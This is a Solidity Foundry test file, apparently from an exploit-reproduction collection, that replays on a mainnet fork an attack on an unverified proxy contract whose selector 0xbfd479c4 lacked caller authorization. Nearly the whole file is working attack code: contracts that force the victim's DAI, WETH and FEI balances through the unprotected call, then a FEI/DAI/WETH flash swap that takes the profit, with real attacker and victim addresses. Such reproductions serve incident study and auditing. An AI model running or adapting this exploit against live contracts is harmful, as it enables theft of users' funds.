src/test/2025-08/unverified_6f7a_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5 
6// @KeyInfo - Total Lost : 7,630.46 USD
7// Attacker : 0xe4B97Db5FAF476DB464Bc271097Fac97d6CE3783
8// Attack Contract : 0x308a2c17e8f7C41982C8e944560876A0241324E1
9// Vulnerable Contract : 0x6f7a14bd931554683ED15Dc92e25D046eD68EA68
10// Attack Tx : https://etherscan.io/tx/0x653b185a57fb5909180fe4eede67e51c5e9b70af16937382f86d5aefe635e5a7
11//
12// @Info
13// Vulnerable Contract Code : https://etherscan.io/address/0x6f7a14bd931554683ED15Dc92e25D046eD68EA68#code
14//
15// @Analysis
16// Twitter Guy : https://t.me/defimon_alerts/1706
17//
18// Attack summary: The attacker called an unverified implementation behind the proxy once for each token
19// balance held by the victim (DAI, WETH, and FEI), forcing those balances through its liquidity path. A final
20// FEI/DAI/WETH flash swap captured the resulting price imbalance as WETH profit.
21// Root cause: The proxy exposed selector 0xbfd479c4 without caller authorization or a constraint that the
22// token amount belonged to msg.sender, so an arbitrary caller could process the victim's live token balances.
23 
24address constant ATTACKER = 0xe4B97Db5FAF476DB464Bc271097Fac97d6CE3783;
25address constant VULNERABLE_CONTRACT = 0x6F7a14Bd931554683ed15dC92e25D046Ed68EA68;
26address constant IMPLEMENTATION = 0x338FfEacCf929c88fb9574DC202dC1714b1903E7;
27address constant UNVERIFIED_ROUTER = 0x14E6D67F824C3a7b4329d3228807f8654294e4bd;
28address constant UNISWAP_V2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
29address constant FEI_DAI_PSM = 0x7842186CDd11270C4Af8C0A99A5E0589c7F249ce;
30address constant DAI_WETH_PAIR = 0xA478c2975Ab1Ea89e8196811F51A7B7Ade33eB11;
31address constant FEI_WETH_PAIR = 0x94B0A3d511b6EcDb17eBF877278Ab030acb0A878;
32address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
33address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
34address constant FEI = 0x956F47F50A910163D8BF957Cf5846D573E7f87CA;
35 
36interface IERC20 {
37    function balanceOf(
38        address account
39    ) external view returns (uint256);
40    function approve(
41        address spender,
42        uint256 amount
43    ) external returns (bool);
44    function transfer(
45        address to,
46        uint256 amount
47    ) external returns (bool);
48}
49 
50interface IWETH is IERC20 {
51    function deposit() external payable;
52}
53 
54interface IUniswapV2Router {
55    function swapETHForExactTokens(
56        uint256 amountOut,
57        address[] calldata path,
58        address to,
59        uint256 deadline
60    ) external payable returns (uint256[] memory amounts);
61}
62 
63interface IUniswapV2Pair {
64    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
65    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
66}
67 
68interface IUniswapV2Callee {
69    function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external;
70}
71 
72interface ISimpleFeiDaiPSM {
73    function redeem(address to, uint256 amountFeiIn, uint256 minAmountOut) external returns (uint256 amountOut);
74}
75 
76contract ContractTest is BaseTestWithBalanceLog {
77    function setUp() public {
78        uint256 forkBlock = 23_196_045;
79        vm.createSelectFork("mainnet", forkBlock);
80 
81        fundingToken = WETH;
82        attacker = ATTACKER;
83 
84        vm.label(ATTACKER, "Attacker");
85        vm.label(VULNERABLE_CONTRACT, "Unverified Proxy 6f7a");
86        vm.label(IMPLEMENTATION, "Unverified Implementation");
87        vm.label(UNVERIFIED_ROUTER, "Unverified Liquidity Router");
88        vm.label(FEI_DAI_PSM, "SimpleFeiDaiPSM");
89        vm.label(DAI_WETH_PAIR, "DAI-WETH Pair");
90        vm.label(FEI_WETH_PAIR, "FEI-WETH Pair");
91        vm.label(WETH, "WETH");
92        vm.label(DAI, "DAI");
93        vm.label(FEI, "FEI");
94    }
95 
96    function testExploit() public {
97        uint256 victimDaiBefore = IERC20(DAI).balanceOf(VULNERABLE_CONTRACT);
98        uint256 victimWethBefore = IERC20(WETH).balanceOf(VULNERABLE_CONTRACT);
99        uint256 victimFeiBefore = IERC20(FEI).balanceOf(VULNERABLE_CONTRACT);
100        uint256 attackerWethBefore = IERC20(WETH).balanceOf(ATTACKER);
101 
102        vm.deal(ATTACKER, 0.01 ether);
103 
104        vm.startPrank(ATTACKER);
105        AttackOrchestrator orchestrator = new AttackOrchestrator();
106        vm.label(address(orchestrator), "Local Attack Orchestrator");
107        orchestrator.execute{value: 0.01 ether}();
108        vm.stopPrank();
109 
110        uint256 victimDaiAfter = IERC20(DAI).balanceOf(VULNERABLE_CONTRACT);
111        uint256 victimWethAfter = IERC20(WETH).balanceOf(VULNERABLE_CONTRACT);
112        uint256 victimFeiAfter = IERC20(FEI).balanceOf(VULNERABLE_CONTRACT);
113        uint256 attackerWethAfter = IERC20(WETH).balanceOf(ATTACKER);
114 
115        emit log_named_decimal_uint("Victim DAI drained", victimDaiBefore - victimDaiAfter, 18);
116        emit log_named_decimal_uint("Victim WETH drained", victimWethBefore - victimWethAfter, 18);
117        emit log_named_decimal_uint("Victim FEI drained", victimFeiBefore - victimFeiAfter, 18);
118        emit log_named_decimal_uint("Attacker WETH profit", attackerWethAfter - attackerWethBefore, 18);
119 
120        assertLt(victimDaiAfter, 1 ether);
121        assertLe(victimWethAfter, 100);
122        assertLt(victimFeiAfter, 1 ether);
123        assertGt(attackerWethAfter - attackerWethBefore, 0.24 ether);
124    }
125}
126 
127contract AttackOrchestrator {
128    receive() external payable {}
129 
130    function execute() external payable {
131        VictimBalanceDrainer drainer = new VictimBalanceDrainer();
132 
133        uint256 callValue = msg.value / 3;
134        drainer.drainToken{value: callValue}(DAI);
135        drainer.drainToken{value: callValue}(WETH);
136        drainer.drainToken{value: msg.value - callValue * 2}(FEI);
137 
138        FeiDaiWethArb arb = new FeiDaiWethArb(ATTACKER);
139        arb.execute();
140 
141        (bool sent,) = payable(ATTACKER).call{value: address(this).balance}("");
142        require(sent, "refund failed");
143    }
144}
145 
146contract VictimBalanceDrainer {
147    receive() external payable {}
148 
149    function drainToken(
150        address token
151    ) external payable {
152        if (token == WETH) {
153            IWETH(WETH).deposit{value: 100}();
154        } else {
155            address[] memory buyPath = new address[](2);
156            buyPath[0] = WETH;
157            buyPath[1] = token;
158            IUniswapV2Router(UNISWAP_V2_ROUTER)
159                .swapETHForExactTokens{value: msg.value}(100, buyPath, address(this), block.timestamp + 1);
160        }
161 
162        IERC20(token).approve(UNVERIFIED_ROUTER, 100);
163 
164        uint256 victimBalance = IERC20(token).balanceOf(VULNERABLE_CONTRACT);
165        address[] memory tokens = new address[](1);
166        tokens[0] = token;
167 
168        (bool success,) = VULNERABLE_CONTRACT.call(
169            abi.encodeWithSelector(bytes4(0xbfd479c4), address(this), tokens, uint256(0), victimBalance)
170        );
171        require(success, "victim call failed");
172 
173        (bool refunded,) = payable(ATTACKER).call{value: address(this).balance}("");
174        require(refunded, "native refund failed");
175    }
176}
177 
178contract FeiDaiWethArb is IUniswapV2Callee {
179    address private immutable profitReceiver;
180 
181    constructor(
182        address profitReceiver_
183    ) {
184        profitReceiver = profitReceiver_;
185    }
186 
187    function execute() external {
188        uint256 borrowFei = 1_517_160_312_700_019_137_568;
189        IUniswapV2Pair(FEI_WETH_PAIR).swap(borrowFei, 0, address(this), abi.encode(borrowFei));
190    }
191 
192    function uniswapV2Call(address sender, uint256 amount0, uint256, bytes calldata) external override {
193        require(msg.sender == FEI_WETH_PAIR, "unexpected pair");
194        require(sender == address(this), "unexpected sender");
195 
196        (uint112 feiReserve, uint112 wethReserve,) = IUniswapV2Pair(FEI_WETH_PAIR).getReserves();
197        (uint112 daiReserve, uint112 daiPairWethReserve,) = IUniswapV2Pair(DAI_WETH_PAIR).getReserves();
198 
199        IERC20(FEI).approve(FEI_DAI_PSM, amount0);
200        ISimpleFeiDaiPSM(FEI_DAI_PSM).redeem(DAI_WETH_PAIR, amount0, 0);
201 
202        uint256 wethOut = _getAmountOut(amount0, daiReserve, daiPairWethReserve);
203        IUniswapV2Pair(DAI_WETH_PAIR).swap(0, wethOut, address(this), "");
204 
205        uint256 repayWeth = _getAmountIn(amount0, wethReserve, feiReserve);
206        IERC20(WETH).transfer(FEI_WETH_PAIR, repayWeth);
207 
208        uint256 profit = IERC20(WETH).balanceOf(address(this));
209        IERC20(WETH).transfer(profitReceiver, profit);
210    }
211 
212    function _getAmountOut(
213        uint256 amountIn,
214        uint256 reserveIn,
215        uint256 reserveOut
216    ) private pure returns (uint256) {
217        uint256 amountInWithFee = amountIn * 997;
218        return (amountInWithFee * reserveOut) / (reserveIn * 1000 + amountInWithFee);
219    }
220 
221    function _getAmountIn(
222        uint256 amountOut,
223        uint256 reserveIn,
224        uint256 reserveOut
225    ) private pure returns (uint256) {
226        return ((reserveIn * amountOut * 1000) / ((reserveOut - amountOut) * 997)) + 1;
227    }
228}